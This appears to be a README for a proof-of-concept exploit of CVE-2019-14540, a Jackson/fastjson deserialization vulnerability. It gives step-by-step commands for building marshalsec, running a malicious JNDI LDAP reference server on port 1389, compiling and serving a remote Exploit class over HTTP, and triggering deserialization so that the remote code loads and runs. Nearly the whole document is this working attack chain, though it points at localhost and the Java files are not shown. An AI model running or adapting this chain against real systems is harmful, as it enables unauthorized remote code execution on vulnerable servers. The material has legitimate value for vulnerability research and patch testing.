CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Environment limitation: This demo uses the jndi ldap exploitation method, so a low version (less than 8u191) of the jdk is required.

1. Use marshalsec to create an ldap service on local port 1389, pointing to the http service on local port 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Compile the remotely loadable code in remote_codebase

cd remote_codebase
javac Exploit.java

3. Start the http service on local port 8000 in remote_codebase

cd remote_codebase
python -m SimpleHTTPServer

4. Run Main.java, trigger the vulnerability using jackson and fastjson deserialization